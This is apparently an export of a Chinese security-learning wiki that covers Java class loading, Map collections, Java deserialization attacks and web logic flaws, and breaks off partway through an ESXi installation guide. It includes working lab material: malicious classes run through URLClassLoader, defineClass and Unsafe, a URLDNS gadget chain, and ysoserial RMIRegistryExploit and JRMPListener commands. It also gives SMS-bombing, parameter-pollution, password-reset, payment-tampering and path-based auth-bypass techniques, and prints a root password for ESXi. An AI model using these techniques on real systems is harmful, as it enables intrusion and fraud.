java.lang.reflect.Proxy;public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 动态代理 InvocationHandler userinvhandler = new UserInvocationHandler(user); // 要代理的接口、类加载器,classloader、要做的事情、 IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userinvhandler); userProxy.show(); }} Java类的动态加载 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载的时候会执行代码 初始化:静态代码块 实例化:构造代码块、无参数构造函数 Javac原理javac是用于将源码文件.java编译成对应的字节码文件.class.其步骤是:源码–>词法分析器组件(生成token流)–>语法分析器组件(语法树)–>语义分析器组件(注解语法树)–>代码生成器组件(字节码) 类加载过程先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行. 类加载的流程图 12345678910111213141516171819202122232425262728293031323334353637383940414243444546/* * @Author: Kill3r * @Date: 2022-10-12 12:18:17 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 12:25:28 * @Description: 请填写简介 */package load_class;public class Person { public String name; private int age; static { System.out.println("静态代码块"); } public static void staticAction() { System.out.println("静态方法"); } { System.out.println("构造代码块"); } public Person(){ System.out.println("无参Person"); } public Person(String name, int age) { System.out.println("有参Person"); this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以), */ @Override public String toString() { return "Person{" + "name='" + name + '\\'' + ",age=" + age + '}'; } private void action(String act){System.out.println(act);}} 动态类加载方法类加载可以加载任意方法,但是反射只能反射公共的 Class.forname12345678package load_class;public class LoadClass { public static void main(String[] args) throws Exception{ // 动态加载进行了初始化的操作 Class.forName("load_class.Person"); }} 12345678910111213141516171819202122/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 14:37:34 * @Description: 请填写简介 */package load_class;public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 第一个参数类名 // 第二个参数是不进行初始化 // 第四个参数是forName0的,所以在这不用写 // 这种都是可以正常实例化的 Class<?> c = Class.forName("load_class.Person", false, cs); // 正常的实例化 c.newInstance(); }} ClassLoader12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 14:40:27 * @Description: 请填写简介 */package load_class;public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 打印ClassLoader,看一下是什么 // result:sun.misc.Launcher$AppClassLoader@73d16e93 // 他是Launcher里面的一个内部类,叫做AppClassLoader System.out.println(cs); }} 漏洞利用相关类URLClassLoaderURLClassLoader:输入一个URL,从URL内加载一个类出来 构造一个恶意类 1234567891011import java.io.IOException;public class Hello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }} javac .\\Hello.java然后将Hello.java删除或者移动到其他目录 编译动态加载类 defineClassdefineClass是一个protected,所以只能通过反射调用,字节码任意加载类构造恶意类:Hello.java 1234567891011121314/* * @Author: Kill3r * @Date: 2022-10-12 22:43:33 * @LastEditors: Kill3r * @LastEditTime: 2022-10-13 08:27:39 * @Description: 请填写简介 */package load_class;public class Hello { public Hello() throws Exception{ Runtime.getRuntime().exec("calc"); }} 动态加载:LoadClass.java 123456ClassLoader cl = ClassLoader.getSystemClassLoader();Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\\\LearningWorld\\\\PersonalProject\\\\PersonalProject\\\\Java\\\\基础语法\\\\src\\\\load_class\\\\Hello.class"));Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);c.newInstance(); UnsafeUnsafe中也含有defineClass字节码任意加载类 123456789101112131415161718192021222324252627282930313233/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-13 20:19:06 * @Description: 请填写简介 */package load_class;import sun.misc.Launcher;import sun.misc.Unsafe;import java.io.File;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.nio.file.Files;import java.nio.file.Paths;public class LoadClass { public static void main(String[] args) throws Exception { ClassLoader cl = ClassLoader.getSystemClassLoader(); byte[] code = Files.readAllBytes(Paths .get("D:\\\\LearningWorld\\\\PersonalProject\\\\PersonalProject\\\\Java\\\\基础语法\\\\src\\\\load_class\\\\Hello.class")); Class c = Unsafe.class; Field theUnsafeField = c.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null); c2.newInstance(); }} Map集合集合又称容器,是Java中对数据结构(数据存储方式)的具体实现我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失\t.所以集合是一种临时存储数据的容器 Map集合类型 Map 特点 Map集合是一个双列集合,一个元素包含两个值(一个key,一个value) Map集合中的元素,key和value的数据类型可以相同,也可以不同 Map集合中的元素,key是不允许重复的,value是可以重复的 Map集合中的元素,key和value是一一对应的 HashMap 采用Hashtable哈希表存储结构(神奇的结构) 优点:添加速度快、查询速度快、删除速度快 缺点:key无序 LinkedHashMap 采用哈希表存储结构,同时使用链表维护次序 key有序(添加顺序) TreeMap 采用二叉树(红黑树)的存储结构 优点:key有序 查询速度比List快(按照内容查询) 缺点:查询速度没有HashMap快 Map接口 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值) 继承关系Ctrl+H 包含的APIAlt+7 Map使用123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103/** @Author: Kill3r* @Date: 2022-10-16 20:33:43* @LastEditors: Kill3r* @LastEditTime: 2022-10-16 22:34:09* @Description: 请填写简介*/package java_Map;import java.util.*;public class TestMap { public static void main(String[] args) { // Student stu1 = new Student(1, "张三", 22); // Student stu2 = new Student(2, "李四", 28); // Student stu3 = new Student(3, "王五", 24); // Student stu4 = new Student(4, "赵六", 21); // Student stu5 = new Student(5, "刘琦", 18); // // Map<Integer, Student> map = new HashMap<>(); // map.put(stu1.getId(), stu1); // map.put(stu2.getId(), stu2); // map.put(stu3.getId(), stu3); // map.put(stu4.getId(), stu4); // map.put(stu5.getId(), stu5); // // 该代码允许用户从System.in读取一个数字 // Scanner sc = new Scanner(System.in); // // 提示文字 // System.out.println("请输入学生的编号:"); // // 该代码允许用户从System.in读取一个数字 // int id = sc.nextInt(); // sc.close(); // // map.get()通过key取值 // System.out.println(map.get(id)); Map<Integer, String> map = new HashMap<>(); // Map集合添加元素 k v map.put(1, "北京"); map.put(2, "山东"); map.put(3, "河南"); map.put(4, "河北"); // 根据Key获取对应的值 System.out.println(map.get(1)); // 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value String s = map.remove(1); System.out.println(s); // 根据 k v 同时移除内容 返回值是布尔类型 System.out.println(map.remove(2, "山东")); // 元素的替换 System.out.println(map.replace(3, "天津")); // 替换成功返回Bool System.out.println(map.replace(4, "河北", "山西")); System.out.println(map.get(4)); System.out.println(map); // 清空map集合内容 k v 都清空 map.clear(); System.out.println(map); System.out.println("--------HashMap保存值情况--------"); map.put(1, "北京1"); // HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 System.out.println(map); // hash表中是允许Kev保存空对象 map.put(null, "空"); System.out.println(map); System.out.println("--------TreeMap保存值情况--------"); Map<Integer, String> map2 = new TreeMap<>(); map2.put(1, "北京"); map2.put(2, "北京2"); // TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 map2.put(1, "北京3"); // Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理) // map2.put(null, "空"); System.out.println(map2); System.out.println("--------Map3集合的遍历--------"); Map<Integer, String> map3 = new HashMap<>(); map3.put(1, "北京"); map3.put(2, "山东"); map3.put(3, "河南"); map3.put(4, "河北"); // 当前遍历的方式 // 获得map集合中当前所有的key System.out.println("遍历方法一:"); Set<Integer> keySet = map3.keySet(); for (Integer key : keySet) { System.out.println(key+"----"+map3.get(key)); } // 直接获得map集合的value System.out.println("遍历方法二:"); Collection<String> values = map3.values(); for (String value : values) { System.out.println(value); } System.out.println("遍历方法三:"); Set<Map.Entry<Integer, String>> entrySet= map3.entrySet(); for (Map.Entry<Integer, String> entry : entrySet) { System.out.println(entry.getKey()+"----"+entry.getValue()); } } } Entry键值对对象我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项).Entry 将键值对的对应关系封装成了对象.即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法: public K getKey():获取Entry对象中的键 public V getValue():获取Entry对象中的值 在Map集合中也提供了获取所有Entry对象的方法: public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合) 设定值 setValue(V value) 用指定的值替换与该条目对应的值(可选操作)(写入映射.)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的. 参数:value- 要存储在此条目中的新值 return:对应条目的旧值 前置知识利用链 利用链是什么: 入口点Source+中间经过的类方法gadget+执行点Sink RMI/JRMP/JNDIRMI(Remote Method Invocation) 能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样 一台机器想要执行另一台机器上的java代码 例如: 我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义 Server—>告诉注册中心Client—>根据名字和注册中心要端口 Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用. 注册中心约定端口:1099 Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法) RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接: Client获取这个Name和对象的绑定关系 RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub) Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象. RemoteCall序列化RMI服务名称、Remote对象. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层. RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch) Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化. Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端. 再去连接Server并调用远程方法 RMI客户端反序列化服务端结果,获取远程对象的引用 RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端 RMI客户端反序列化RMI远程方法调用结果 **危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现 JRMP(Remote Method Protocol) 通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、 JNDI(Naming and Directory Interface) Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统. 而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象 总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来. 还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中 JJEP(JAVA Enhancement proposa) JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端 检测反序列化链的深度 在RMI过程中提供了调用对象提供了一个验证类的机制 过滤内容可被配置 JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)二次反序列化思维导图: URLDNS链 URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法. HashMap对于HashMap这个类来说,他重载了readObject函数,在重载的逻辑中,我们可以看到他重新计算了key的Hash跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS URLDNS找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址 1234567891011121314151617181920212223242526272829303132333435363738394041/* * @Author: Kill3r * @Date: 2022-10-03 19:11:15 * @LastEditors: Kill3r * @LastEditTime: 2022-10-05 10:25:36 * @Description: 请填写简介 */package serializable.urldns;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Dnstest { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://v0qf5g.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望 // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里 // 所以需要修改hashCode值不为-1 fieldHashcode.set(url,1); hashmap.put(url, 22); // 反序列化之后还是需要让他发送请求,所以需要改回来 // 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求 fieldHashcode.set(url,-1); Serializable(hashmap); } public static void Serializable(Object obj) throws Exception { ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt")); InputStream.writeObject(obj); InputStream.close(); }} 总结 首先找到Sink:发起DNS请求的URL类hashCode方法 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法 EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求 ysoserial使用12java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.binjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial 使用idea打开源码包 设置maven为国内源 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override settings.xml内容为: 123456789101112131415161718192021222324252627282930313233 <?xml version="1.0" encoding="UTF-8"?><settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd"> <mirrors> <!-- 阿里云仓库 --> <mirror> <id>alimaven</id> <mirrorOf>central</mirrorOf> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/repositories/central/</url> </mirror> <!-- 中央仓库1 --> <mirror> <id>repo1</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo1.maven.org/maven2/</url> </mirror> <!-- 中央仓库2 --> <mirror> <id>repo2</id> <mirrorOf>central</mirrorOf> <name>Human Readable Name for this Mirror.</name> <url>http://repo2.maven.org/maven2/</url> </mirror> </mirrors> </settings> 点击apply->OK 点击刷新按钮,等待下载依赖 点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在和java: 程序包sun.rmi.transport不存在可以不用管 编译项目点击M命令行输入:mvn clean package -DskipTests 编译完成 环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip URLDNS利用 打开前面写的Dnstest.java将代码中的dnslog换为自己的,然后序列化恶意数据 反序列化恶意数据,然后dnslog中会显示请求内容 RMIRegistryExploit利用 打开环境中的RMIServer.java右键运行 使用ysoserial攻击 1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc" JRMPClient利用 打开环境中的RMIServer.java右键运行 使用ysoserial攻击 JRMPListener利用 生成反序列化数据 1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin 启动JRMP 1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc" 反序列化 1234567891011121314151617package com.chaitin;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Unserialization { public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ unserialize("jrmp.bin"); }}"},{"title":"十四. 逻辑漏洞","path":"/wiki/VulnerabilityInsightDocs/十四. 逻辑漏洞.html","content":"总字符数: 4.20K 代码: 0.14K, 文本: 2.74K 预计阅读时间: 13 分钟 逻辑漏洞的本质 ​ 所有Web应用程序都通过逻辑实现各种功能.每个阶段都会执行数目庞大的逻辑操作. ​ 这些逻辑代表着一个复杂的受攻击面. SQL注入和XSS类漏洞,它们具有容易辨别的签名,人们对它们的利用方法也进行了广泛的研究. ​ 但逻辑程序的逻辑缺陷更难以识别:每一种缺陷似乎都是唯一的. ​ 程序开发者会认为,如果出现A,一定就会有B,因此我执行C. 但实际上,攻击者会制造出X. 所以简单来讲,逻辑漏洞可以理解为不按套路出牌. ​ 为此在逻辑漏洞的学习时候,并不推荐按照注入类漏洞的方法学习,而更建议通过案例类的方案进行学习. 逻辑漏洞的案例验证码相关验证码正确逻辑: 验证码可能存在的漏洞 验证码机制主要用于用户身份识别,这里主要指短信验证码和邮箱验证码等. 短信轰炸绕过 注册、忘记密码、修改密码处,均存在发送短信验证,可能会设置参数值的不同,来判断是执行什么样的功能.比如type=1是注册,type=2是忘记密码,type=3是修改密码等.我们可以通过修改参数值,来绕过一分钟内只发送一次限制,达到短信轰炸的目的 防护手段: 验证码(图形验证码、滑行验证码) 限制单一手机号一定时间内的发送次数上限(比如有效期30分钟内只允许获取一次) 设置对同一手机号发送短信的最小时间间隔(比如间隔为3分钟) 验证码爆破 验证码在响应包中明文返回 验证码绕过 参数污染 在获取短信验证码的功能点出进行参数污染.比如重放参数为mobile,重放的时候可以:mobile=1772&mobile=1343两个手机号可同时收到验证码,且验证码一致,挖到这个洞即可造成任意用户登录参数污染的方式: mobile=177******2&mobile=134******3 mobile=177*******2,134*******3 mobile=177*******2%09134*******3 //%09是tab,这里用换行、tab、null都可以测试 https://forum.butian.net/share/2602https://forum.butian.net/share/2602 暴力破解漏洞原理 ​\t利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式,身份验证模块设计的不好,攻击者可以利用自动化攻击进行暴力破解,大大增加了密码被破解的风险 攻击场景 无任何防护情况下,可利用密码字典针对单个用户进行密码的暴力破解 对单个用户有密码错误次数上限,可利用用户名字典暴力破解出弱口令账号 防御方法 锁定机制 如限制单位时间内执行某项操作的次数(如果次数超过则对账号或IP进行一段时间的锁定,锁定时间内不得使用相关功能,应对限制方式、次数和计算方法、锁定时间等进行明确的说明) 人机识别措施 如图片验证码、重力感应、短信验证码、语音验证码等,为了提升用户体验,对于一些低风险的操作,可以设定单位时间内执行操作次数的阈值,超过阈值后再进行人机识别措施. 任意密码重置抓包改包类在某次的安全测试中,我们遇到了一个非常典型的任意密码重置类漏洞.在网站的忘记密码能分析出来网站的工作过程如下: 用户通过输入手机号来请求短信验证码。 接着,用户在网站上输入接收到的验证码。 如果输入的验证码与服务器保存的值匹配,用户则被允许设置新密码。 网站的安全假设是,用户能够提供一个独特的信息——短信验证码,这被用来验证操作者的身份,然而,存在一个漏洞。 当一个真正的用户完成上述流程,接收验证码并输入它来设置新密码时,我们发现攻击者可以通过拦截网络请求(抓包)来篡改提交的数据。 具体地:攻击者可以在最终提交修改密码的请求中更改mobile字段的值,将其设置为目标受害者的手机号。 这样一来,攻击者就能在受害者完全不知情的情况下,更改其账户密码。这表明网站没有恰当地验证密码重置请求的真实性,因而容易遭受攻击 修改返回包状态上面的案例,是通过修改发送包,而下面的案例来自于过去线下班学生的实践,是一个典型的通过修改返回包的逻辑漏洞. 使用网站的正确流程修改帐号 A 的密码,抓包保存正确的返回包. 修改返回包的状态码等内容. 而当我们想修改账户B的密码,由于没有正确的验证码,从而失败 使用burpsuite,将正确的返回包,替换错误的返回包后,即可修改账户B的口令并成功登录. 案例:wooyun-2015-0165235 在实际的漏洞挖掘中,类似的场景会出现变形,例如在登录界面,随意输入用户密码后,将false修改为true,亦或者status=0修改为status=1. 敏感信息泄露在一些逻辑漏洞的场景中,很多时候我们连抓包改包都不需要,某些网站会出现将短信验证码放置于返回包中. 案例:wooyun-2015-0162609 只需要将手机号输入到页面上,返回包中会出现用户的全部注册信息,这会包括手机号、姓名、邮箱、身份证号等等. 修复建议 用户操作个人信息(读取、修改)时,服务端要对当前用户身份进行验证,防止越权操作; 用来标识用户身份的名称或ID可以使用自定义加密,也可以隐藏这些参数,直接从cookie中获取用户信息; 用户修改密码时应该先对旧密码进行验证,或者使用手机短信验证; 用户修改手机号时需要先对原手机号进行验证. 修改整个密码重置流程,不要将用户进行直接在返回包中明文展示 支付漏洞根据实现的方式,支付漏洞可以分为如下几类: 修改购买数量 修改支付价格 修改商品id|订单id 修改支付的状态 重复支付&&条件竞争 修改附属优惠、领取优惠 签约漏洞 一元网站的业务版块中,很常见的功能为在线购买及支付.而在其中典型的逻辑漏洞方式为修改支付金额,从而造成极低的价格购买高价值产品. 案例:wooyun-2016-0211806 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 负数在网站的支付功能模块中,往往也会出现类似于钱包的功能,用户可以通过提前充值,而购买时使用钱包中的金额进行支付,而无需在线支付. 案例:wooyun-2015-0150937 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 修改购买数量 修改购买数量的方式有很多种,这里提供几个常见的思路. 修改购买数量为负数 购买商品正负相抵 直接购买负数商品造成余额增加 修改购买数量为大数 这里有个整数溢出的概念,int的范围为-2147483648~2147483647,可以把他理解为一个循环,也就是2147483647=-2147483647,但是有时支付里没有负数就从0开始计算了,这里我们只需把购买的数量改为2147483647/[单件价格]+1即可。 修改购买数量为小数 这里有个四舍五入的概念,例如买1.5件商品会变为2件商品,而价格还是1.5件商品的价格。 条件竞争(并发) 条件竞争的原理说到底是高并发状态下对同一资源的读取写入问题.BURP插件:Turbo Intruder 签约漏洞 比如一个会员,正常价格是30,首月只需15元,那我们一个号先登录手机A,进入首充界面,跳转到支付宝支付界面,别支付,停在此处。 此时换另一个手机B登录该账号(此时A手机上的该账号可能会被顶下,但是无所请,因为已经进入支付宝的支付界面了),手机B一样进入首充,跳转到支付宝界面,此时A和B者支付,可能就能张得两个月的会员。如下图,正常逻辑是以新用户身份创建订单,支付,再创订单时后台判断你不是新用户,无法成功,绕过逻针就是以新用户身份同时下单两次不支付 正常逻辑: 绕过逻辑: 越权漏洞 越权漏洞的核心是用户提交的参数中包含身份辨别参数,可篡改,且后端没有针对这个鉴权 相对水平越权,垂直越权实现的方式除了改参数可能还有未授权(比如后给管理员操作的接口) 未授权的挖掘在于接口的发现以及fuzz参数,附带一些可能可以绕过鉴权的小操作。 碰见加密传输莫慌,js中慢慢寻找总能有答案。 垂直越权java绕过鉴权路由后加:**..;或;或/**如果A用户的权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权. 案例wooyun-2015-0100876 那么此时我们可以思考为什么会产生这个问题?而又该如何进行修复? 水平越权如果A用户的权限等于B用户,B用户越权操作A用户的权限的情况称为水平越权. 案例wooyun-2015-0130090 前后文越权在很多国内所制作的逻辑漏洞脑图中,往往将越权类的逻辑漏洞分为垂直与水平越权两类.而第三种前后文越权的类型由于比较少见,往往会被人们忽略.很多时候,网站往往会存在基于顺序的逻辑,前后文越权的漏洞逻辑在于攻击此顺序,尝试跳过一些关键步骤. JS逆向**网站注册发现了密码加密,f12打开调试器,审查一下有无可疑文件,发现了register.js 打开,浏览一遍,找可疑字段,在93行发现了对password二次赋值,下个断点,点击注册 发现了一个可疑变量,控制台打印一下 可以发现是一个类似于加密用的东西,并且下面的函数也传入了这个变量,鼠标点击encryptedString,跟进查看一下,鼠标悬停在函数名上,点击小箭头 可以发现第一个参数传入的是key,第二个参数传入的是string 我们在控制台里调用此函数并把可疑变量publicKey当做参数key传入进去,即可得到秘钥,返回控制台,继续跟进下一步,查看他返回的密文和我们自己控制台生成的密文是否一样 在对比器中可以发现字符一模一样,逆向成功 逻辑漏洞的总结逻辑漏洞的挖掘确实依赖于对应用程序逻辑深入的理解和分析,因为这类漏洞往往不会有明显的指纹,而是隐藏在正常功能的误用或设计缺陷中。 使用Burp Suite等工具手动测试应用程序是检测逻辑漏洞的有效方法,这允许测试者审查和修改HTTP请求,以揭示潜在的逻辑错误。 下面是逻辑漏洞挖掘的大致流程: 功能模块分析:理解应用程序的功能模块和它们如何交互。 正常用户使用流程分析:以正常用户的行为模式使用应用程序,同时抓取网络数据包。 参数与逻辑分析:分析网络请求中的每个参数,以及它们关联的后端逻辑如何响应这些输入。 测试方案设计与尝试:基于上述分析,设计测试场景以尝试不同的输入和用户行为,查看应用程序如何响应非预期的行为。"},{"title":"一. Esxi安装教程","path":"/wiki/VirtDocs/一. Esxi安装教程.html","content":"总字符数: 8.48K 代码: 无, 文本: 1.84K 预计阅读时间: 8 分钟 VM准备 打开windows上安装的vmware workstation虚拟机 选择文件—->新建虚拟机—->自定义—->选择下一步 版本选择:选择ESXI6.7版本(选择和但当前镜像一致的版本)->继续下一步 选择虚拟机配置,选择性能配置及网络模式 添加自定义硬件,2个nat网卡一起用 载入esxi镜像 ESXI安装 开启ESXI6.7虚拟机 按Enter安装ESXI 按F11同意接受用户的协议 选择安装的磁盘,键盘布局默认.即可按Enter继续 设置ESXI Root用户密码,密码为:JIANGJIYUE@2023 按F11继续安装 按Enter重启计算机 ESXI配置 ESXi启动完成后,在主界面选择F2键配置,登录root用户,进行初始化配置,网络配置 ESXI网络配置选择Configgure Management Network—->回车即可 配置ipv4 选择Set static IP address and network configuration进行配置ESXI的静态IP地址,使用空格选中,更改完成后回车确认 按ESC确认并按Y保存配置,返回后确认ip状态,是否变化.如下所示为192.168.64.197 ESXI开启SSH和SHELL(可选,不用的话就不要开启了) 选择Troubleshooting Options选项 选择ESXI中Enable ESXi 